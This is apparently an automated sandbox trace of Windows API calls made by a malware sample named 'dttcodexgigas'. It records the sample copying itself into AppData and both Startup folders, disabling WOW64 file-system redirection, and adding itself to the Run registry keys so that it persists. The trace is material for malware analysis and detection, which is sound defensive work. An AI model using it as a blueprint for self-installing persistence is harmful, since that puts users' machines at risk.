	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7549e8 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724a80 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724ba0 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f0f8 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f210 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x724b80 | out: hHeap=0x710000) returned 1
	[0158.620] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee00 | out: hHeap=0x710000) returned 1
	[0158.620] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x756768
	[0158.620] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x766770
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754af0
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754af0, Size=0x20) returned 0x74f148
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f148, Size=0x40) returned 0x72d560
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a18
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a18, Size=0x20) returned 0x74efb8
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a30
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a30, Size=0x20) returned 0x74efe0
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7548b0
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7548b0, Size=0x20) returned 0x74ef40
	[0158.621] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef40, Size=0x40) returned 0x72d6c8
	[0158.621] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x766770, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe")) returned 0x77
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776778
	[0158.621] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x786780
	[0158.622] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549e8
	[0158.622] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549e8, Size=0x20) returned 0x74f080
	[0158.622] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f080, Size=0x40) returned 0x72d710
	[0158.622] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d710, Size=0x80) returned 0x7283c8
	[0158.622] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x100) returned 0x7283c8
	[0158.622] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.622] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.622] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x776778, nSize=0x7fff | out: lpDst="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x4f
	[0158.622] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x786780 | out: hHeap=0x710000) returned 1
	[0158.622] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776778 | out: hHeap=0x710000) returned 1
	[0158.623] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x23f4020
	[0158.626] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7548c8
	[0158.626] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7548c8, Size=0x20) returned 0x74ee28
	[0158.626] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549e8
	[0158.626] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549e8, Size=0x20) returned 0x74ee50
	[0158.626] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.626] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.626] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x0) returned 1
	[0158.626] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee28 | out: hHeap=0x710000) returned 1
	[0158.626] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.626] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee50 | out: hHeap=0x710000) returned 1
	[0158.626] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0158.627] CreateFileW (lpFileName="C:\\WINDOWS\\System32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\windows\\system32\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0158.628] CloseHandle (hObject=0x240) returned 1
	[0158.628] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754898
	[0158.628] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754898, Size=0x20) returned 0x74f008
	[0158.628] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b38
	[0158.628] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74f1c0
	[0158.628] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.628] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.628] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.628] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f1c0 | out: hHeap=0x710000) returned 1
	[0158.628] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f008 | out: hHeap=0x710000) returned 1
	[0158.628] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x23f4020 | out: hHeap=0x710000) returned 1
	[0158.631] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776778
	[0158.631] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x786780
	[0158.631] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b38
	[0158.631] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74f030
	[0158.631] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f030, Size=0x40) returned 0x72d5a8
	[0158.631] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d5a8, Size=0x80) returned 0x7283c8
	[0158.631] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x100) returned 0x7283c8
	[0158.632] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.632] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x776778, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x5b
	[0158.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x786780 | out: hHeap=0x710000) returned 1
	[0158.632] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776778 | out: hHeap=0x710000) returned 1
	[0158.633] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x23f5020
	[0158.635] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549e8
	[0158.635] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549e8, Size=0x20) returned 0x74f210
	[0158.635] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7549e8
	[0158.635] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7549e8, Size=0x20) returned 0x74ee00
	[0158.635] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.635] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.636] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.636] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f210 | out: hHeap=0x710000) returned 1
	[0158.636] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.636] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ee00 | out: hHeap=0x710000) returned 1
	[0158.636] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0158.636] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0158.638] ReadFile (in: hFile=0x240, lpBuffer=0x23f5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f5020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0158.653] WriteFile (in: hFile=0x244, lpBuffer=0x23f5020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f5020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0158.655] ReadFile (in: hFile=0x240, lpBuffer=0x23f5020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f5020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0158.655] CloseHandle (hObject=0x244) returned 1
	[0158.656] CloseHandle (hObject=0x240) returned 1
	[0158.656] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754988
	[0158.656] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754988, Size=0x20) returned 0x74f260
	[0158.656] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b38
	[0158.656] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74edb0
	[0158.656] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.656] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.656] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.656] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74edb0 | out: hHeap=0x710000) returned 1
	[0158.656] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f260 | out: hHeap=0x710000) returned 1
	[0158.656] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x23f5020 | out: hHeap=0x710000) returned 1
	[0158.661] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754928
	[0158.661] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754928, Size=0x20) returned 0x74ef68
	[0158.661] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74ef68, Size=0x40) returned 0x72d9e0
	[0158.661] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d9e0, Size=0x80) returned 0x7283c8
	[0158.661] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 90
	[0158.661] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0158.661] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x5c) returned 0x728450
	[0158.661] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x240) returned 0x0
	[0158.662] RegSetValueExW (hKey=0x240, lpValueName="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", Reserved=0x0, dwType=0x1, lpData=0x756768, cbData=0xb4) returned 0x5
	[0158.662] RegCloseKey (hKey=0x240) returned 0x0
	[0158.662] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728450 | out: hHeap=0x710000) returned 1
	[0158.662] lstrlenW (lpString="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 90
	[0158.662] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0158.662] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x5c) returned 0x728450
	[0158.662] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x19fd64 | out: phkResult=0x19fd64*=0x244) returned 0x0
	[0158.663] RegSetValueExW (in: hKey=0x244, lpValueName="dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", cbData=0xb4 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x0
	[0158.666] RegCloseKey (hKey=0x244) returned 0x0
	[0158.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728450 | out: hHeap=0x710000) returned 1
	[0158.666] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45
	[0158.666] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.666] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776778
	[0158.666] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x786780
	[0158.666] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a78
	[0158.666] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a78, Size=0x20) returned 0x74f148
	[0158.667] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f148, Size=0x40) returned 0x72dcf8
	[0158.667] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72dcf8, Size=0x80) returned 0x7283c8
	[0158.667] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x100) returned 0x7283c8
	[0158.667] lstrlenW (lpString="") returned 0
	[0158.667] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.667] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x728530
	[0158.667] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0158.667] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x786780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x0, lpData=0x786780*=0x53, lpcbData=0x19fd48*=0x7fff) returned 0x2
	[0158.667] RegCloseKey (hKey=0x244) returned 0x0
	[0158.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0158.667] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.667] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x728530
	[0158.667] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0158.667] RegQueryValueExW (in: hKey=0x244, lpValueName="Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x786780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x98) returned 0x0
	[0158.667] RegCloseKey (hKey=0x244) returned 0x0
	[0158.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0158.667] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75
	[0158.667] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.667] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x776778, nSize=0x7fff | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x89
	[0158.667] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x786780 | out: hHeap=0x710000) returned 1
	[0158.668] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776778 | out: hHeap=0x710000) returned 1
	[0158.668] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x23f8020
	[0158.671] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a78
	[0158.671] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a78, Size=0x20) returned 0x74ef68
	[0158.671] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b08
	[0158.671] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b08, Size=0x20) returned 0x74f148
	[0158.671] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.671] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.671] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.671] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ef68 | out: hHeap=0x710000) returned 1
	[0158.671] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.671] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f148 | out: hHeap=0x710000) returned 1
	[0158.671] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0158.672] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x248
	[0158.677] ReadFile (in: hFile=0x244, lpBuffer=0x23f8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f8020*, lpNumberOfBytesRead=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0158.688] WriteFile (in: hFile=0x248, lpBuffer=0x23f8020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f8020*, lpNumberOfBytesWritten=0x19fd90*=0x17200, lpOverlapped=0x0) returned 1
	[0158.690] ReadFile (in: hFile=0x244, lpBuffer=0x23f8020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x19fd90, lpOverlapped=0x0 | out: lpBuffer=0x23f8020*, lpNumberOfBytesRead=0x19fd90*=0x0, lpOverlapped=0x0) returned 1
	[0158.690] CloseHandle (hObject=0x248) returned 1
	[0158.694] CloseHandle (hObject=0x244) returned 1
	[0158.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754970
	[0158.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754970, Size=0x20) returned 0x74f1e8
	[0158.694] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b38
	[0158.694] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74ef18
	[0158.694] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0158.695] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0158.695] Wow64DisableWow64FsRedirection (in: OldValue=0x19fd94 | out: OldValue=0x19fd94*=0x1) returned 1
	[0158.695] lstrlenW (lpString="kernel32.dll") returned 12
	[0158.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74ef18 | out: hHeap=0x710000) returned 1
	[0158.695] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0158.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f1e8 | out: hHeap=0x710000) returned 1
	[0158.695] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x23f8020 | out: hHeap=0x710000) returned 1
	[0158.699] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x776778
	[0158.700] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0xfffe) returned 0x786780
	[0158.700] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754b38
	[0158.700] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754b38, Size=0x20) returned 0x74f008
	[0158.700] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x74f008, Size=0x40) returned 0x72d878
	[0158.700] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x72d878, Size=0x80) returned 0x7283c8
	[0158.700] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x7283c8, Size=0x100) returned 0x7283c8
	[0158.700] lstrlenW (lpString="") returned 0
	[0158.700] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.700] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x8c) returned 0x728530
	[0158.700] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x19fd10 | out: phkResult=0x19fd10*=0x244) returned 0x0
	[0158.700] RegQueryValueExW (in: hKey=0x244, lpValueName="Common Startup", lpReserved=0x0, lpType=0x19fd1c, lpData=0x786780, lpcbData=0x19fd48*=0x7fff | out: lpType=0x19fd1c*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x19fd48*=0x78) returned 0x0
	[0158.700] RegCloseKey (hKey=0x244) returned 0x0
	[0158.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x728530 | out: hHeap=0x710000) returned 1
	[0158.701] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59
	[0158.701] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69
	[0158.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7283c8 | out: hHeap=0x710000) returned 1
	[0158.701] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe", lpDst=0x776778, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\dttcodexgigas.31c5c9fa2e802a2e978252de78bb294d7489b500.exe") returned 0x78
	[0158.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x786780 | out: hHeap=0x710000) returned 1
	[0158.701] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x776778 | out: hHeap=0x710000) returned 1
	[0158.702] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x23fb020
	[0158.705] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754a78
	[0158.705] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754a78, Size=0x20) returned 0x74eef0
	[0158.705] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x754988
	[0158.705] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x754988, Size=0x20) returned 0x74f260
